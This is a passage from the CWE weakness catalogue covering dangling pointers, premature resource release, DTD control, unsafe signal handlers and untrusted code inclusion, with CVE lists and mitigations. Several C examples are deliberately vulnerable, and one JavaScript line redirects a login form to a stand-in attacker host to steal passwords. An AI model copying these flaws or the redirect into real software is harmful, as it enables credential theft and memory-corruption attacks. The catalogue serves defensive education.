Availability	DoS: Crash, Exit, or Restart <i>If the uninitialized pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i>	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Observed Examples

Reference	Description
CVE-2024-32878	LLM product has a free of an uninitialized pointer https://www.cve.org/CVERecord?id=CVE-2024-32878
CVE-2010-0211	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824). https://www.cve.org/CVERecord?id=CVE-2010-0211
CVE-2009-2768	Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash. https://www.cve.org/CVERecord?id=CVE-2009-2768
CVE-2009-1721	Free of an uninitialized pointer. https://www.cve.org/CVERecord?id=CVE-2009-1721
CVE-2009-1415	Improper handling of invalid signatures leads to free of invalid pointer. https://www.cve.org/CVERecord?id=CVE-2009-1415

Reference	Description
CVE-2009-0846	Invalid encoding triggers free of uninitialized pointer. https://www.cve.org/CVERecord?id=CVE-2009-0846
CVE-2009-0040	Crafted PNG image leads to free of uninitialized pointer. https://www.cve.org/CVERecord?id=CVE-2009-0040
CVE-2008-2934	Crafted GIF image leads to free of uninitialized pointer. https://www.cve.org/CVERecord?id=CVE-2008-2934
CVE-2007-4682	Access of uninitialized pointer might lead to code execution. https://www.cve.org/CVERecord?id=CVE-2007-4682
CVE-2007-4639	Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution. https://www.cve.org/CVERecord?id=CVE-2007-4639
CVE-2007-4000	Unchecked return values can lead to a write to an uninitialized pointer. https://www.cve.org/CVERecord?id=CVE-2007-4000
CVE-2007-2442	zero-length input leads to free of uninitialized pointer. https://www.cve.org/CVERecord?id=CVE-2007-2442
CVE-2007-1213	Crafted font leads to uninitialized function pointer. https://www.cve.org/CVERecord?id=CVE-2007-1213
CVE-2006-6143	Uninitialized function pointer in freed memory is invoked https://www.cve.org/CVERecord?id=CVE-2006-6143
CVE-2006-4175	LDAP server mishandles malformed BER queries, leading to free of uninitialized memory https://www.cve.org/CVERecord?id=CVE-2006-4175
CVE-2006-0054	Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer. https://www.cve.org/CVERecord?id=CVE-2006-0054
CVE-2003-1201	LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails. https://www.cve.org/CVERecord?id=CVE-2003-1201

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1399	Comprehensive Categorization: Memory Safety	1400	2546

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-825: Expired Pointer Dereference

Weakness ID : 825
Structure : Simple
Abstraction : Base

Description

The product dereferences a pointer that contains a location for memory that was previously valid, but is no longer valid.








Extended Description

When a product releases memory, but it maintains a pointer to that memory, then the memory might be re-allocated at a later time. If the original pointer is accessed to read or write data, then this could cause the product to read or modify data that is in use by a different function or process. Depending on how the newly-allocated memory is used, this could lead to a denial of service, information exposure, or code execution.


Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1488
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299
ParentOf		415	Double Free	1015
ParentOf		416	Use After Free	1019
CanFollow		562	Return of Stack Variable Address	1287
CanPrecede		125	Out-of-bounds Read	336
CanPrecede		787	Out-of-bounds Write	1669

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	299

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		465	Pointer Issues	2349

Alternate Terms

Dangling pointer :

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Scope	Impact	Likelihood
	<i>If the expired pointer is used in a read operation, an attacker might be able to control data read in by the application.</i>	
Availability	DoS: Crash, Exit, or Restart <i>If the expired pointer references a memory location that is not accessible to the product, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands <i>If the expired pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.</i>	

Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

When freeing pointers, be sure to set them to NULL once they are freed. However, the utilization of multiple or complex data structures may lower the usefulness of this strategy.

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

Example Language: C

(Bad)

```
char* ptr = (char*)malloc (SIZE);
if (err) {
    abrt = 1;
    free(ptr);
}
...
if (abrt) {
    logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

Example Language: C

(Bad)

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
    free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory



Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Observed Examples

Reference	Description
CVE-2008-5013	access of expired memory address leads to arbitrary code execution https://www.cve.org/CVERecord?id=CVE-2008-5013
CVE-2010-3257	stale pointer issue leads to denial of service and possibly other consequences https://www.cve.org/CVERecord?id=CVE-2010-3257
CVE-2008-0062	Chain: a message having an unknown message type may cause a reference to uninitialized memory resulting in a null pointer dereference (CWE-476) or dangling pointer (CWE-825), possibly crashing the system or causing heap corruption. https://www.cve.org/CVERecord?id=CVE-2008-0062
CVE-2007-1211	read of value at an offset into a structure after the offset is no longer valid https://www.cve.org/CVERecord?id=CVE-2007-1211

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf		867	2011 Top 25 - Weaknesses On the Cusp	<input checked="" type="checkbox"/>	2393
MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input checked="" type="checkbox"/>	2588
MemberOf		1399	Comprehensive Categorization: Memory Safety	<input checked="" type="checkbox"/>	2546

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

CWE-826: Premature Release of Resource During Expected Lifetime

Weakness ID : 826

Structure : Simple

Abstraction : Base

Description

The product releases a resource that is still intended to be used by itself or another actor.

Extended Description

This weakness focuses on errors in which the product should not release a resource, but performs the release anyway. This is different than a weakness in which the product releases a resource at



the appropriate time, but it maintains a reference to the resource, which it later accesses. For this weakness, the resource should still be valid upon the subsequent access.

When a product releases a resource that is still being used, it is possible that operations will still be taken on this resource, which may have been repurposed in the meantime, leading to issues similar to CWE-825. Consequences may include denial of service, information exposure, or code execution.



Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		666	Operation on Resource in Wrong Phase of Lifetime	1471
CanPrecede		672	Operation on a Resource after Expiration or Release	1488

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		399	Resource Management Errors	2345
MemberOf		840	Business Logic Errors	2381

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory <i>If the released resource is subsequently reused or reallocated, then a read operation on the original resource might access sensitive data that is associated with a different user or entity.</i>	
Availability	DoS: Crash, Exit, or Restart <i>When the resource is released, the software might modify some of its structure, or close associated channels (such as a file descriptor). When the software later accesses the resource as if it is valid, the resource might not be in an expected state, leading to resultant errors that may lead to a crash.</i>	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Application Data Modify Memory <i>When the resource is released, the software might modify some of its structure. This might affect logic in the sections of code that still assume the resource is active. If the released resource is related to memory and is used in a function call, or points to unexpected data in a write operation, then code execution may be possible upon subsequent accesses.</i>	


Observed Examples

Reference	Description
CVE-2009-3547	Chain: race condition (CWE-362) might allow resource to be released before operating on it, leading to NULL dereference (CWE-476)

Reference	Description
	https://www.cve.org/CVERecord?id=CVE-2009-3547

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1415	Comprehensive Categorization: Resource Control	1400	2565

Notes

Research Gap

Under-studied and under-reported as of September 2010. This weakness has been reported in high-visibility software, although the focus has been primarily on memory allocation and de-allocation. There are very few examples of this weakness that are not directly related to memory management, although such weaknesses are likely to occur in real-world software for other types of resources.

CWE-827: Improper Control of Document Type Definition

Weakness ID : 827

Structure : Simple

Abstraction : Variant

Description

The product does not restrict a reference to a Document Type Definition (DTD) to the intended control sphere. This might allow attackers to reference arbitrary DTDs, possibly causing the product to expose files, consume excessive system resources, or execute arbitrary http requests on behalf of the attacker.

Extended Description




As DTDs are processed, they might try to read or include files on the machine performing the parsing. If an attacker is able to control the DTD, then the attacker might be able to specify sensitive resources or requests or provide malicious content.

For example, the SOAP specification prohibits SOAP messages from containing DTDs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	1750
ChildOf		706	Use of Incorrectly-Resolved Name or Reference	1553
CanPrecede		776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	1642

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2446

Applicable Platforms

Language : XML (*Prevalence = Undetermined*)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
	<i>If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.</i>	
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)	
	<i>The DTD may cause the parser to consume excessive CPU cycles or memory using techniques such as nested or recursive entity references (CWE-776).</i>	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Gain Privileges or Assume Identity	
Availability	<i>The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.</i>	
Access Control		

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. https://www.cve.org/CVERecord?id=CVE-2010-2076

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2566

References

[REF-773]Daniel Kulp. "Apache CXF Security Advisory (CVE-2010-2076)". 2010 June 6. < <http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf> >.

CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe

Weakness ID : 828

Structure : Simple

Abstraction : Variant

Description

The product defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.

Extended Description

This can lead to an unexpected system state with a variety of potential consequences depending on context, including denial of service and code execution.

Signal handlers are typically intended to interrupt normal functionality of a program, or even other signals, in order to notify the process of an event. When a signal handler uses global or static variables, or invokes functions that ultimately depend on such state or its associated metadata, then it could corrupt system state that is being used by normal functionality. This could subject the program to race conditions or other weaknesses that allow an attacker to cause the program state to be corrupted. While denial of service is frequently the consequence, in some cases this weakness could be leveraged for code execution.

There are several different scenarios that introduce this issue:

- Invocation of non-reentrant functions from within the handler. One example is `malloc()`, which modifies internal global variables as it manages memory. Very few functions are actually reentrant.
- Code sequences (not necessarily function calls) contain non-atomic use of global variables, or associated metadata or structures, that can be accessed by other functionality of the program, including other signal handlers. Frequently, the same function is registered to handle multiple signals.
- The signal handler function is intended to run at most one time, but instead it can be invoked multiple times. This could happen by repeated delivery of the same signal, or by delivery of different signals that have the same handler function (CWE-831).



Note that in some environments or contexts, it might be possible for the signal handler to be interrupted itself.

If both a signal handler and the normal behavior of the product have to operate on the same set of state variables, and a signal is received in the middle of the normal execution's modifications of those variables, the variables may be in an incorrect or corrupt state during signal handler execution, and possibly still incorrect or corrupt upon return.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		364	Signal Handler Race Condition	905
ParentOf		479	Signal Handler Use of a Non-reentrant Function	1154

Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Confidentiality	Execute Unauthorized Code or Commands	
Availability	<p><i>The most common consequence will be a corruption of the state of the product, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.</i></p>	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Eliminate the usage of non-reentrant functionality inside of signal handlers. This includes replacing all non-reentrant library calls with reentrant calls. Note: This will not always be possible and may require large portions of the product to be rewritten or even redesigned. Sometimes reentrant-safe library alternatives will not be available. Sometimes non-reentrant interaction between the state of the system and the signal handler will be required by design.

Effectiveness = High

Phase: Implementation

Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the product.

Demonstrative Examples

Example 1:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

Example Language: C

(Bad)

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:

- The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.
- The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.
- The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").
- SIGHUP-handler begins to execute, calling syslog().
- syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.
- The attacker then sends SIGTERM.
- SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.
- The SIGTERM handler is invoked.
- SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is

assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [REF-360]; the original example was shown to be exploitable for code execution.

Also note that the `strdup(argv[1])` call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because `argc` would be 0, and `argv[1]` would point outside the bounds of the array.

Example 2:

The following code registers a signal handler with multiple signals in order to log when a specific event occurs and to free associated memory before exiting.

Example Language: C

(Bad)

```
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *global1, *global2;
char *what;
void sh (int dummy) {
    syslog(LOG_NOTICE, "%s\n", what);
    free(global2);
    free(global1);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    what=argv[1];
    global1=strdup(argv[2]);
    global2=malloc(340);
    signal(SIGHUP, sh);
    signal(SIGTERM, sh);
    /* Sleep statements added to expand timing window for race condition */
    sleep(10);
    exit(0);
}
```

However, the following sequence of events may result in a double-free (CWE-415):

1. a SIGHUP is delivered to the process
2. sh() is invoked to process the SIGHUP
3. This first invocation of sh() reaches the point where global1 is freed
4. At this point, a SIGTERM is sent to the process
5. the second invocation of sh() might do another free of global1
6. this results in a double-free (CWE-415)

This is just one possible exploitation of the above code. As another example, the `syslog` call may use `malloc` calls which are not `async-signal` safe. This could cause corruption of the heap management structures. For more details, consult the example within "Delivering Signals for Fun and Profit" [REF-360].

Observed Examples

Reference	Description
CVE-2008-4109	Signal handler uses functions that ultimately call the unsafe <code>syslog/malloc/s*printf</code> , leading to denial of service via multiple login attempts https://www.cve.org/CVERecord?id=CVE-2008-4109

Reference	Description
CVE-2006-5051	Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415). https://www.cve.org/CVERecord?id=CVE-2006-5051
CVE-2001-1349	unsafe calls to library functions from signal handler https://www.cve.org/CVERecord?id=CVE-2001-1349
CVE-2004-0794	SIGURG can be used to remotely interrupt signal handler; other variants exist. https://www.cve.org/CVERecord?id=CVE-2004-0794
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. https://www.cve.org/CVERecord?id=CVE-2004-2259
CVE-2002-1563	SIGCHLD not blocked in a daemon loop while counter is modified, causing counter to get out of sync. https://www.cve.org/CVERecord?id=CVE-2002-1563

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2547

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	SIG31-C		Do not access or modify shared objects in signal handlers

References

[REF-360]Michal Zalewski. "Delivering Signals for Fun and Profit". < <https://lcamtuf.coredump.cx/signals.txt> >.2023-04-07.

[REF-361]"Race Condition: Signal Handling". < https://vulncat.fortify.com/en/detail?id=desc.structural.cpp.race_condition_signal_handling#:~:text=Signal%20handling%20race%20conditions%20can,installed%20to%20handle%20multiple%20signals.s >.2023-04-07.

CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID : 829

Structure : Simple

Abstraction : Base

Description

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Extended Description





When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1480
ParentOf		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	242
ParentOf		827	Improper Control of Document Type Definition	1745
ParentOf		830	Inclusion of Web Functionality from an Untrusted Source	1756

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	1480

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf		1016	Limit Exposure	2452

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf		1214	Data Integrity Issues	2498

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands <i>An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.</i>	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Forced Path Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Architecture and Design

Phase: Operation

Strategy = Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it

only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness = Limited

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness = High

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This

significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

This login webpage includes a weather widget from an external website:

Example Language: HTML

(Bad)

```
<div class="header"> Welcome!
<div id="loginBox">Please Login:
  <form id="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    <br/>
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
  </form>
</div>
<div id="WeatherWidget">
  <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

Example Language: JavaScript

(Attack)

...Weather widget code....

```
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service. https://www.cve.org/CVERecord?id=CVE-2010-2076
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2004-0285
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2004-0030
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2004-0068
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://www.cve.org/CVERecord?id=CVE-2005-2157
